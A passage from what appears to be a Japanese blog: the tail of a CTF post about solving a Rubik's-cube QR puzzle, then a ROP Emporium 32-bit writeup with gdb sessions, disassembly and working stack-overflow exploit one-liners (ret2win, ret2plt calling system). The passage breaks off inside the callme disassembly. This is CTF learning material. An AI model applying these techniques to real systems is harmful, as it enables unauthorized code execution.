以下,製作工程です.ルービックキューブは自宅にあった Dayan ZhanChi 57mm を使いました.
ルービックキューブの大きさに合わせて5.7cmで6面をカラー印刷してきたら,綺麗に切り抜きます.
その後,裏面に両面テープを貼り付けていきます.
綺麗に貼り終わりました.
その後,これを9分割するのですが注意点として真ん中が13マス,両端が10マスになるように切っていきます.
これをキューブに丁寧に貼っていけば完成です.
自分のミスがわかってから,深夜にチーム全体で話し合って解く方針を決めました.流れとしては以下の順です.
- 6面の画像全てをサイトから落としてきて,それぞれを9分割する
- ルービックキューブを解くライブラリを使うために,9分割した画像を色判定して特定の順番で記号に置き換える
- 置き換えた記号をライブラリに流しこんで,解を得る
- 実際のルービックキューブを使って,出てきた解を逆の順番かつ逆の手順で回し,同じ状態にする
- URLがでてきそうな色に特定の順番で番号を振っていき,その後ライブラリから得られた手順を使って元に戻す
- すると,その色の各パーツの配置がわかるので,それを元に9枚の画像を配置し,向きがあっていない場合はそれぞれの画像を回転させてQRコードを得る
1,2,3,6辺りはスクリプト化します.ライブラリはkociembaというアルゴリズムを実装したものを使いました.
ここで,実際に作ったQubic Rubeが,QRコードを動かすイメージがついたり付箋で番号を貼って実際に回して位置を把握したりと,意外と役に立ったので良かったです.
上記の手順で10ステージまではいったのですが,その後ライブラリが上手く動かなくなるということが起きました.どうやら問題のキューブの配色が微妙に変わるということが起きていて,このライブラリは決められた配色でしか動かないようだったので,途中からは以下のサイトで手作業で手順を求めました.
結局,1・2・6は後輩が,3・4・5は僕がやるという連携プレイで解いていました.URLが出てくる色が10ステージ目までは黄色だったのに,そこからはランダムになって苦戦したのですが,URLがでてきそうな色の判別は全て目視で行えるようになって,主にQRコードのデータコード語の部分の配置を見てデータが入って無さそうなやつはURLではない,とか形式情報の下位8bitで判断したりもしていました.
こんな感じ↓で作業してました.
そんなこんなで,ようやく流れに乗れたのが朝の11時とかだったので,そこからどんどん解いていきましたが最終的に37/50ステージ目でタイムアップしてしまいました.
あと2時間あれば絶対解けたはず...
まとめ
本当に楽しかったです.某所に男4人が集まってやっていたのですが,深夜にチーム全体で話し合ったときなどはこれぞチームって感じでした.
来年こそは100位以内に入れるように...
ROP Emporium Writeup(32bit)
はじめに
最近Pwnを始めて,ROP Emporiumというサイトを元に進めてます.少人数でのPwn勉強会でもこれを題材にしていたりします.で,ダラダラと進めてたらようやく32bitのほうが全部終わったのでwriteupを残そうと思います.めっちゃ勉強になるサイトなんですが,writeupをググると英語の記事はあるものの,日本語の記事が見当たらないので,書いておきます.
ROP Emporiumとは?
writeupの前に簡単な説明をしておくと,ROPというテクニックを主に学ぶことができるサイトです.7つの問題があり,それぞれ32bit版と64bit版があるので,計14問です.確かFBで@encry1024さんがリンクを貼っているのを見て存在を知りました.
問題としては脆弱なバイナリとflag.txtが与えられるので,実行ファイルからflag.txtを読み出せたら勝ちっていう感じです.
では,以下32bit版のwriteupです.
※誤りがあれば教えて頂けると有難いです!
ret2win
$ file ret2win32 ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped $ ./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > hoge Exiting
適当に長い入力値を与えるとオーバーフローするので,gdbで調べます.(BoFは全ての問題で共通して存在します)
$ gdb ret2win32 Reading symbols from ret2win32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ run Starting program: /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/ret2win32/ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------] EAX: 0xffffbd10 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") EBX: 0x0 ECX: 0x0 EDX: 0xf7fa687c --> 0x0 ESI: 0xf7fa5000 --> 0x1b1db0 EDI: 0xf7fa5000 --> 0x1b1db0 EBP: 0x41304141 ('AA0A') ESP: 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 EIP: 0x41414641 ('AFAA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414641 [------------------------------------stack-------------------------------------] 0000| 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 0004| 0xffffbd44 --> 0xffffbd60 --> 0x1 0008| 0xffffbd48 --> 0x0 0012| 0xffffbd4c --> 0xf7e0b637 (<__libc_start_main+247>: add esp,0x10) 0016| 0xffffbd50 --> 0xf7fa5000 --> 0x1b1db0 0020| 0xffffbd54 --> 0xf7fa5000 --> 0x1b1db0 0024| 0xffffbd58 --> 0x0 0028| 0xffffbd5c --> 0xf7e0b637 (<__libc_start_main+247>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414641 in ?? () gdb-peda$ patto AFAA AFAA found at offset: 44
patto AFAAというのはoffsetを調べる時に使用し, patto EIP
のように使います.
offsetが44とわかったので,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます.
任意のアドレスに遷移させることができる現在の状態を,「EIPを奪った」とかいいます.
次に,実行ファイルの中にどのような関数があるのかを見てみます.
$ gdb ret2win32 Reading symbols from ret2win32...(no debugging symbols found)...done. gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x08048659 ret2win 0x08048690 __libc_csu_init 0x080486f0 __libc_csu_fini 0x080486f4 _fini
pwnmeとret2winという関数が気になります.mainとpwnmeとret2winをそれぞれ逆アセンブルして読んでみます.
main
gdb-peda$ disas main Dump of assembler code for function main: 0x0804857b <+0>: lea ecx,[esp+0x4] 0x0804857f <+4>: and esp,0xfffffff0 0x08048582 <+7>: push DWORD PTR [ecx-0x4] 0x08048585 <+10>: push ebp 0x08048586 <+11>: mov ebp,esp 0x08048588 <+13>: push ecx 0x08048589 <+14>: sub esp,0x4 0x0804858c <+17>: mov eax,ds:0x804a064 0x08048591 <+22>: push 0x0 0x08048593 <+24>: push 0x2 0x08048595 <+26>: push 0x0 0x08048597 <+28>: push eax 0x08048598 <+29>: call 0x8048450 <setvbuf@plt> 0x0804859d <+34>: add esp,0x10 0x080485a0 <+37>: mov eax,ds:0x804a040 0x080485a5 <+42>: push 0x0 0x080485a7 <+44>: push 0x2 0x080485a9 <+46>: push 0x0 0x080485ab <+48>: push eax 0x080485ac <+49>: call 0x8048450 <setvbuf@plt> 0x080485b1 <+54>: add esp,0x10 0x080485b4 <+57>: sub esp,0xc 0x080485b7 <+60>: push 0x8048710 0x080485bc <+65>: call 0x8048420 <puts@plt> 0x080485c1 <+70>: add esp,0x10 0x080485c4 <+73>: sub esp,0xc 0x080485c7 <+76>: push 0x8048728 0x080485cc <+81>: call 0x8048420 <puts@plt> 0x080485d1 <+86>: add esp,0x10 0x080485d4 <+89>: call 0x80485f6 <pwnme> 0x080485d9 <+94>: sub esp,0xc 0x080485dc <+97>: push 0x8048730 0x080485e1 <+102>: call 0x8048420 <puts@plt> 0x080485e6 <+107>: add esp,0x10 0x080485e9 <+110>: mov eax,0x0 0x080485ee <+115>: mov ecx,DWORD PTR [ebp-0x4] 0x080485f1 <+118>: leave 0x080485f2 <+119>: lea esp,[ecx-0x4] 0x080485f5 <+122>: ret End of assembler dump.
pwnme
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080485f6 <+0>: push ebp 0x080485f7 <+1>: mov ebp,esp 0x080485f9 <+3>: sub esp,0x28 0x080485fc <+6>: sub esp,0x4 0x080485ff <+9>: push 0x20 0x08048601 <+11>: push 0x0 0x08048603 <+13>: lea eax,[ebp-0x28] 0x08048606 <+16>: push eax 0x08048607 <+17>: call 0x8048460 <memset@plt> 0x0804860c <+22>: add esp,0x10 0x0804860f <+25>: sub esp,0xc 0x08048612 <+28>: push 0x804873c 0x08048617 <+33>: call 0x8048420 <puts@plt> 0x0804861c <+38>: add esp,0x10 0x0804861f <+41>: sub esp,0xc 0x08048622 <+44>: push 0x80487bc 0x08048627 <+49>: call 0x8048420 <puts@plt> 0x0804862c <+54>: add esp,0x10 0x0804862f <+57>: sub esp,0xc 0x08048632 <+60>: push 0x8048821 0x08048637 <+65>: call 0x8048400 <printf@plt> 0x0804863c <+70>: add esp,0x10 0x0804863f <+73>: mov eax,ds:0x804a060 0x08048644 <+78>: sub esp,0x4 0x08048647 <+81>: push eax 0x08048648 <+82>: push 0x32 0x0804864a <+84>: lea eax,[ebp-0x28] 0x0804864d <+87>: push eax 0x0804864e <+88>: call 0x8048410 <fgets@plt> 0x08048653 <+93>: add esp,0x10 0x08048656 <+96>: nop 0x08048657 <+97>: leave 0x08048658 <+98>: ret End of assembler dump.
ret2win
gdb-peda$ disas ret2win Dump of assembler code for function ret2win: 0x08048659 <+0>: push ebp 0x0804865a <+1>: mov ebp,esp 0x0804865c <+3>: sub esp,0x8 0x0804865f <+6>: sub esp,0xc 0x08048662 <+9>: push 0x8048824 0x08048667 <+14>: call 0x8048400 <printf@plt> 0x0804866c <+19>: add esp,0x10 0x0804866f <+22>: sub esp,0xc 0x08048672 <+25>: push 0x8048841 0x08048677 <+30>: call 0x8048430 <system@plt> 0x0804867c <+35>: add esp,0x10 0x0804867f <+38>: nop 0x08048680 <+39>: leave 0x08048681 <+40>: ret End of assembler dump.
mainではsetvbufで標準入出力のバッファリングを無効にしたり,putsで何かを出力したり,pwnmeを呼んだりしています.putsで出力しているのは,実行時に表示される説明とかです.
次にpwnmeですが,memsetで何かを初期化したり,putsやprintfで何かを出力して,最終的にfgetsで入力値を受け取っています.
最後にret2winですが,こちらもprintfで何かを出力していますが,重要なのはsystem関数を呼んでいる部分です.引数には何を渡しているのでしょうか?渡しているアドレスに何が格納されているかを調べてみます.
gdb-peda$ x/s 0x8048841 0x8048841: "/bin/cat flag.txt"
どうやらret2winはflag.txtを表示してくれる関数のようです.よって,pwnmeのfgetsでBoFさせ,ret2winに遷移させれば終わりです.
アドレスはリトルエンディアンで書きます.
exploit
$ python -c 'print "A" * 44 + "\x59\x86\x04\x08"' |./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} zsh: done python -c 'print "A" * 44 + "\x59\x86\x04\x08"' | zsh: segmentation fault (core dumped) ./ret2win32
split
$ file split32 split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a6d6bf3d264d331ecbf9d1e6858d6eac124b89, not stripped $ ./split32 split by ROP Emporium 32bits Contriving a reason to ask user for data... > hoge Exiting
BoFする長さとかは全問題で共通しているので,省略します.(1問目と同様に,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます)
$ gdb split32 Reading symbols from split32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x08048649 usefulFunction 0x08048670 __libc_csu_init 0x080486d0 __libc_csu_fini 0x080486d4 _fini
今度はusefulFunctionという関数があるので,逆アセンブルしてみます.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x08048649 <+0>: push ebp 0x0804864a <+1>: mov ebp,esp 0x0804864c <+3>: sub esp,0x8 0x0804864f <+6>: sub esp,0xc 0x08048652 <+9>: push 0x8048747 0x08048657 <+14>: call 0x8048430 <system@plt> 0x0804865c <+19>: add esp,0x10 0x0804865f <+22>: nop 0x08048660 <+23>: leave 0x08048661 <+24>: ret End of assembler dump.
systemに渡されている引数を調べます.
gdb-peda$ x/s 0x8048747 0x8048747: "/bin/ls"
どうやら,usefulFunctionはlsするだけの関数のようです.どこかにflagをcatしてくれる文字列などが無いかを調べます.
実行ファイル中の文字列をstringsで列挙してみます.
$ strings split32 ...... Contriving a reason to ask user for data... /bin/ls ;*2$"( /bin/cat flag.txt GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609 crtstuff.c ......
すると,/bin/cat flag.txtという文字列が見つかります.system関数はsplitの中にあるので, "/bin/cat flag.txt" を引数として渡してあげれば良さそうです.「関数を引数に渡す」という行為はレジスタへ直接値を入れるか,またはスタックを経由して行われる方法の2通りがありますが,今回はスタックを経由して渡していきます.
スタックを経由して引数を渡す場合,通常push命令を使って値をスタックへ積みます.しかし,オーバーフロー時は任意のアドレスへ遷移させた時と同様に,任意の値をスタックへ用意することができるので,スタックの状態をいい感じにします.
通常のスタックの状態
+-+-+-+-+-+-+-+ ↑low ............... +-+-+-+-+-+-+-+ local val +-+-+-+-+-+-+-+ saved ebp +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+ ↓ high
今回の場合,入力値を保存する先の変数がlocal val辺りにあるはずです.BoFが起こるとsaved ebp(EBPというスタックの底を表すレジスタの値が保存されている場所です)とreturn address(元のルーチンへ戻る為にスタックへ保存しています)が書き換えられ,任意の場所に遷移させることができるわけです.
これを,オーバーフローさせて以下のようにします.
+-+-+-+-+-+-+-+-+ ↑low ......AA +-+-+-+-+-+-+-+-+ AAAA +-+-+-+-+-+-+-+-+ AAAA +-+-+-+-+-+-+-+-+ system@plt(元々のreturn addressをsystem@pltへ) +-+-+-+-+-+-+-+-+ return address(system@pltのreturn先) +-+-+-+-+-+-+-+-+ /bin/cat flag.txtのアドレス +-+-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+-+ ↓ high
こうすると,system@pltがリターン先となり,最終的に/bin/cat flag.txtを引数としてsystem関数が実行されます.これをret2pltと言います.
@pltというのはplt領域という場所を指しています.この領域は遅延リンクという仕組みを実現するためのもので,その後plt領域からgot領域へ飛び,さらにsystem関数本体へと飛ぶ2段構成になっていたりします.got領域が解決されたアドレスを管理するテーブルになっているのですが,ここら辺の話はググって調べたほうがわかりやすいと思うので,割愛します.
最後に,/bin/cat flag.txtが格納されている場所を調べます.
$ gdb split32 gdb-peda$ find /bin/cat Searching for '/bin/cat' in: None ranges Found 1 results, display max 1 items: split32 : 0x804a030 ("/bin/cat flag.txt")
よって,exploitは以下のようになります.(AAAAはsystem@pltから返る先のアドレスで,ダミーなのでなんでもOKです)
exploit
$ python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' |./split32 split by ROP Emporium 32bits Contriving a reason to ask user for data... > ROPE{a_placeholder_32byte_flag!} zsh: done python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' | zsh: segmentation fault (core dumped) ./split32
callme
$ file callme32 callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ceeb3a388347fd09bb234f44846f1480ac7abf64, not stripped $ ./callme32 callme by ROP Emporium 32bits Hope you read the instructions... > hoge Exiting
gdbで見てみます.
$ gdb callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048558 _init 0x08048590 printf@plt 0x080485a0 fgets@plt 0x080485b0 callme_three@plt 0x080485c0 callme_one@plt 0x080485d0 puts@plt 0x080485e0 exit@plt 0x080485f0 __libc_start_main@plt 0x08048600 setvbuf@plt 0x08048610 memset@plt 0x08048620 callme_two@plt 0x08048640 _start 0x08048670 __x86.get_pc_thunk.bx 0x08048680 deregister_tm_clones 0x080486b0 register_tm_clones 0x080486f0 __do_global_dtors_aux 0x08048710 frame_dummy 0x0804873b main 0x080487b6 pwnme 0x0804880c usefulFunction 0x08048850 __libc_csu_init 0x080488b0 __libc_csu_fini 0x080488b4 _fini
またusefulFunctionがあります.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804880c <+0>: push ebp 0x0804880d <+1>: mov ebp,esp 0x0804880f <+3>: sub esp,0x8 0x08048812 <+6>: sub esp,0x4 0x08048815 <+9>: push 0x6 0x08048817 <+11>: push 0x5 0x08048819 <+13>: push 0x4 0x0804881b <+15>: call 0x80485b0 <callme_three@plt> 0x08048820 <+20>: add esp,0x10 0x08048823 <+23>: sub esp,0x4 0x08048826 <+26>: push 0x6 0x08048828 <+28>: push 0x5 0x0804882a <+30>: push 0x4 0x0804882c <+32>: call 0x8048620 <callme_two@plt> 0x08048831 <+37>: add esp,0x10 0x08048834 <+40>: sub esp,0x4 0x08048837 <+43>: push 0x6 0x08048839 <+45>: push 0x5 0x0804883b <+47>: push 0x4 0x0804883d <+49>: call 0x80485c0 <callme_one@plt> 0x08048842 <+54>: add esp,0x10 0x08048845 <+57>: sub esp,0xc 0x08048848 <+60>: push 0x1 0x0804884a <+62>: call 0x80485e0 <exit@plt> End of assembler dump.
callme_one , callme_two, callme_threeという見慣れない関数が3つあります.それぞれの関数に対して,第1引数4,第2引数5,第3引数6を渡しています.
今回は共有ライブラリとしてlibcallme32.soというファイルが渡されています.
$ file libcallme32.so libcallme32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=9677f4f42dd5a13429a33e9bd46ca3eab3936934, not stripped
callme_one , callme_two, callme_threeの本体はそれぞれ,この共有ライブラリの中にあります.libcallme32.soを逆アセンブルします.
$ gdb libcallme32.so
callme_one
gdb-peda$ disas callme_one Dump of assembler code for function callme_one: 0x000006d0 <+0>: push ebp 0x000006d1 <+1>: mov ebp,esp 0x000006d3 <+3>: push ebx 0x000006d4 <+4>: sub esp,0x14 0x000006d7 <+7>: call 0x5a0 <__x86.get_pc_thunk.bx> 0x000006dc <+12>: add ebx,0x1924 0x000006e2 <+18>: cmp DWORD PTR [ebp+0x8],0x1 0x000006e6 <+22>: jne 0x7ab <callme_one+219> 0x000006ec <+28>: cmp DWORD PTR [ebp+0xc],0x2 0x000006f0 <+32>: jne 0x7ab <callme_one+219> 0x000006f6 <+38>: cmp DWORD PTR [ebp+0x10],0x3 0x000006fa <+42>: jne 0x7ab <callme_one+219> 0x00000700 <+48>: mov DWORD PTR [ebp-0xc],0x0 0x00000707 <+55>: sub esp,0x8 0x0000070a <+58>: lea eax,[ebx-0x163c] 0x00000710 <+64>: push eax 0x00000711 <+65>: lea eax,[ebx-0x163a] 0x00000717 <+71>: push eax 0x00000718 <+72>: call 0x570 <fopen@plt> 0x0000071d <+77>: add esp,0x10 0x00000720 <+80>: mov DWORD PTR [ebp-0xc],eax 0x00000723 <+83>: cmp DWORD PTR [ebp-0xc],0x0 0x00000727 <+87>: jne 0x745 <callme_one+117> 0x00000729 <+89>: sub esp,0xc 0x0000072c <+92>: lea eax,[ebx-0x1624] 0x00000732 <+98>: push eax 0x00000733 <+99>: call 0x550 <puts@plt> 0x00000738 <+104>: add esp,0x10 0x0000073b <+107>: sub esp,0xc 0x0000073e <+110>: push 0x1 0x00000740 <+112>: call 0x560 <exit@plt> 0x00000745 <+117>: sub esp,0xc 0x00000748 <+120>: push 0x21 0x0000074a <+122>: call 0x540 <malloc@plt> 0x0000074f <+127>: add esp,0x10 0x00000752 <+130>: mov DWORD PTR [ebx+0x34],eax 0x00000758 <+136>: mov eax,DWORD PTR [ebx+0x34] 0x0000075e <+142>: test eax,eax 0x00000760 <+144>: jne 0x77e <callme_one+174> 0x00000762 <+146>: sub esp,0xc 0x00000765 <+149>: lea eax,[ebx-0x1602] 0x0000076b <+155>: push eax 0x0000076c <+156>: call 0x550 <puts@plt> 0x00000771 <+161>: add esp,0x10 0x00000774 <+164>: sub esp,0xc 0x00000777 <+167>: push 0x1 0x00000779 <+169>: call 0x560 <exit@plt> 0x0000077e <+174>: mov eax,DWORD PTR [ebx+0x34] 0x00000784 <+180>: sub esp,0x4 0x00000787 <+183>: push DWORD PTR [ebp-0xc] 0x0000078a <+186>: push 0x21 0x0000078c <+188>: push eax 0x0000078d <+189>: call 0x520 <fgets@plt> 0x00000792 <+194>: add esp,0x10 0x00000795 <+197>: mov DWORD PTR [ebx+0x34],eax 0x0000079b <+203>: sub esp,0xc 0x0000079e <+206>: push DWORD PTR [ebp-0xc] 0x000007a1 <+209>: call 0x530 <fclose@plt> 0x000007a6 <+214>: add esp,0x10 0x000007a9 <+217>: jmp 0x7c7 <callme_one+247> 0x000007ab <+219>: sub esp,0xc 0x000007ae <+222>: lea eax,[ebx-0x15e8] 0x000007b4 <+228>: push eax 0x000007b5 <+229>: call 0x550 <puts@plt> 0x000007ba <+234>: add esp,0x10 0x000007bd <+237>: sub esp,0xc 0x000007c0 <+240>: push 0x1 0x000007c2 <+242>: call 0x560 <exit@plt> 0x000007c7 <+247>: nop 0x000007c8 <+248>: mov ebx,DWORD PTR [ebp-0x4] 0x000007cb <+251>: leave 0x000007cc <+252>: ret End of assembler dump.
ざっと見る感じ,第1引数が1,第2引数が2,第3引数が3ではなかったらexitするようになっていて,その後はfopenしてmallocで0x21分領域を確保し,fgetsでファイルから値を読みこんで,確保しておいた領域へ格納,みたいなことをやっています.
callme_twoを見てみます.
callme_two
gdb-peda$ disas callme_two Dump of assembler code for function callme_two: 0x000007cd <+0>: push ebp 0x000007ce <+1>: mov ebp,esp 0x000007d0 <+3>: push esi 0x000007d1 <+4>: push ebx 0x000007d2 <+5>: sub esp,0x10 0x000007d5 <+8>: call 0x5a0 <__x86.get_pc_thunk.bx> 0x000007da <+13>: add ebx,0x1826 0x000007e0 <+19>: cmp DWORD PTR [ebp+0x8],0x1 0x000007e4 <+23>: jne 0x88e <callme_two+193> 0x000007ea <+29>: cmp DWORD PTR [ebp+0xc],0x2 0x000007ee <+33>: jne 0x88e <callme_two+193> 0x000007f4 <+39>: cmp DWORD PTR [ebp+0x10],0x3 0x000007f8 <+43>: jne 0x88e <callme_two+193> 0x000007fe <+49>: mov DWORD PTR [ebp-0xc],0x0 0x00000805 <+56>: sub esp,0x8 0x00000808 <+59>: lea eax,[ebx-0x163c] 0x0000080e <+65>: push eax 0x0000080f <+66>: lea eax,[ebx-0x15d3] 0x00000815 <+72>: push eax 0x00000816 <+73>: call 0x570 <fopen@plt> 0x0000081b <+78>: add esp,0x10 0x0000081e <+81>: mov DWORD PTR [ebp-0xc],eax 0x00000821 <+84>: cmp DWORD PTR [ebp-0xc],0x0 0x00000825 <+88>: jne 0x843 <callme_two+118> 0x00000827 <+90>: sub esp,0xc 0x0000082a <+93>: lea eax,[ebx-0x15ca] 0x00000830 <+99>: push eax 0x00000831 <+100>: call 0x550 <puts@plt> 0x00000836 <+105>: add esp,0x10 0x00000839 <+108>: sub esp,0xc 0x0000083c <+111>: push 0x1 0x0000083e <+113>: call 0x560 <exit@plt> 0x00000843 <+118>: mov DWORD PTR [ebp-0x10],0x0 0x0000084a <+125>: mov DWORD PTR [ebp-0x10],0x0 0x00000851 <+132>: jmp 0x886 <callme_two+185> 0x00000853 <+134>: sub esp,0xc 0x00000856 <+137>: push DWORD PTR [ebp-0xc] 0x00000859 <+140>: call 0x580 <fgetc@plt> 0x0000085e <+145>: add esp,0x10 0x00000861 <+148>: mov esi,eax 0x00000863 <+150>: mov edx,DWORD PTR [ebx+0x34] 0x00000869 <+156>: mov eax,DWORD PTR [ebp-0x10] 0x0000086c <+159>: add eax,edx 0x0000086e <+161>: mov ecx,DWORD PTR [ebx+0x34] 0x00000874 <+167>: mov edx,DWORD PTR [ebp-0x10] 0x00000877 <+170>: add edx,ecx 0x00000879 <+172>: movzx edx,BYTE PTR [edx] 0x0000087c <+175>: mov ecx,esi 0x0000087e <+177>: xor edx,ecx 0x00000880 <+179>: mov BYTE PTR [eax],dl 0x00000882 <+181>: add DWORD PTR [ebp-0x10],0x1 0x00000886 <+185>: cmp DWORD PTR [ebp-0x10],0xf 0x0000088a <+189>: jle 0x853 <callme_two+134> 0x0000088c <+191>: jmp 0x8aa <callme_two+221> 0x0000088e <+193>: sub esp,0xc 0x00000891 <+196>: lea eax,[ebx-0x15e8] 0x00000897 <+202>: push eax 0x00000898 <+203>: call 0x550 <puts@plt> 0x0000089d <+208>: add esp,0x10 0x000008a0 <+211>: sub esp,0xc 0x000008a3 <+214>: push 0x1 0x000008a5 <+216>: call 0x560 <exit@plt> 0x000008aa <+221>: nop 0x000008ab <+222>: lea esp,[ebp-0x8] 0x000008ae <+225>: pop ebx 0x000008af <+226>: pop esi 0x000008b0 <+227>: pop ebp 0x000008b1 <+228>: ret
こちらも同様に,第1引数が1,第2引数が2,第3引数が3であるかどうかチェックした後,fopenしています.その後,0x0 → 0xfの16回のループに入っていますが,どうやらfgetcでfopenしたファイルから1文字ずつ読み取った値とcallme_oneで確保した領域をxorしています.
- 0x00000853 - 0x0000088a をループ
- movzx edx,BYTE PTR [edx] で callme_one で確保した領域から1バイト取り出し,edxに格納
- mov ecx,esi にてfopenしたファイルから読み取った1文字をecxに格納
- xor edx,ecx で2つの値をxor
最後に,callme_threeを見てみます.
callme_three
gdb-peda$ disas callme_three Dump of assembler code for function callme_three: 0x000008b2 <+0>: push ebp 0x000008b3 <+1>: mov ebp,esp 0x000008b5 <+3>: push esi 0x000008b6 <+4>: push ebx 0x000008b7 <+5>: sub esp,0x10 0x000008ba <+8>: call 0x5a0 <__x86.get_pc_thunk.bx> 0x000008bf <+13>: add ebx,0x1741 0x000008c5 <+19>: cmp DWORD PTR [ebp+0x8],0x1 0x000008c9 <+23>: jne 0x994 <callme_three+226> 0x000008cf <+29>: cmp DWORD PTR [ebp+0xc],0x2 0x000008d3 <+33>: jne 0x994 <callme_three+226> 0x000008d9 <+39>: cmp DWORD PTR [ebp+0x10],0x3 0x000008dd <+43>: jne 0x994 <callme_three+226> 0x000008e3 <+49>: mov DWORD PTR [ebp-0xc],0x0 0x000008ea <+56>: sub esp,0x8 0x000008ed <+59>: lea eax,[ebx-0x163c] 0x000008f3 <+65>: push eax 0x000008f4 <+66>: lea eax,[ebx-0x15b2] 0x000008fa <+72>: push eax 0x000008fb <+73>: call 0x570 <fopen@plt> 0x00000900 <+78>: add esp,0x10 0x00000903 <+81>: mov DWORD PTR [ebp-0xc],eax 0x00000906 <+84>: cmp DWORD PTR [ebp-0xc],0x0 0x0000090a <+88>: jne 0x928 <callme_three+118> 0x0000090c <+90>: sub esp,0xc 0x0000090f <+93>: lea eax,[ebx-0x15a9] 0x00000915 <+99>: push eax 0x00000916 <+100>: call 0x550 <puts@plt> 0x0000091b <+105>: add esp,0x10 0x0000091e <+108>: sub esp,0xc 0x00000921 <+111>: push 0x1 0x00000923 <+113>: call 0x560 <exit@plt> 0x00000928 <+118>: mov DWORD PTR [ebp-0x10],0x10 0x0000092f <+125>: mov DWORD PTR [ebp-0x10],0x10 0x00000936 <+132>: jmp 0x96b <callme_three+185> 0x00000938 <+134>: sub esp,0xc 0x0000093b <+137>: push DWORD PTR [ebp-0xc] 0x0000093e <+140>: call 0x580 <fgetc@plt> 0x00000943 <+145>: add esp,0x10 0x00000946 <+148>: mov esi,eax 0x00000948 <+150>: mov edx,DWORD PTR [ebx+0x34] 0x0000094e <+156>: mov eax,DWORD PTR [ebp-0x10] 0x00000951 <+159>: add eax,edx 0x00000953 <+161>: mov ecx,DWORD PTR [ebx+0x34] 0x00000959 <+167>: mov edx,DWORD PTR [ebp-0x10] 0x0000095c <+170>: add edx,ecx 0x0000095e <+172>: movzx edx,BYTE PTR [edx] 0x00000961 <+175>: mov ecx,esi 0x00000963 <+177>: xor edx,ecx 0x00000965 <+179>: mov BYTE PTR [eax],dl 0x00000967 <+181>: add DWORD PTR [ebp-0x10],0x1 0x0000096b <+185>: cmp DWORD PTR [ebp-0x10],0x1f 0x0000096f <+189>: jle 0x938 <callme_three+134> 0x00000971 <+191>: mov eax,DWORD PTR [ebx+0x34] 0x00000977 <+197>: sub esp,0x8 0x0000097a <+200>: push eax 0x0000097b 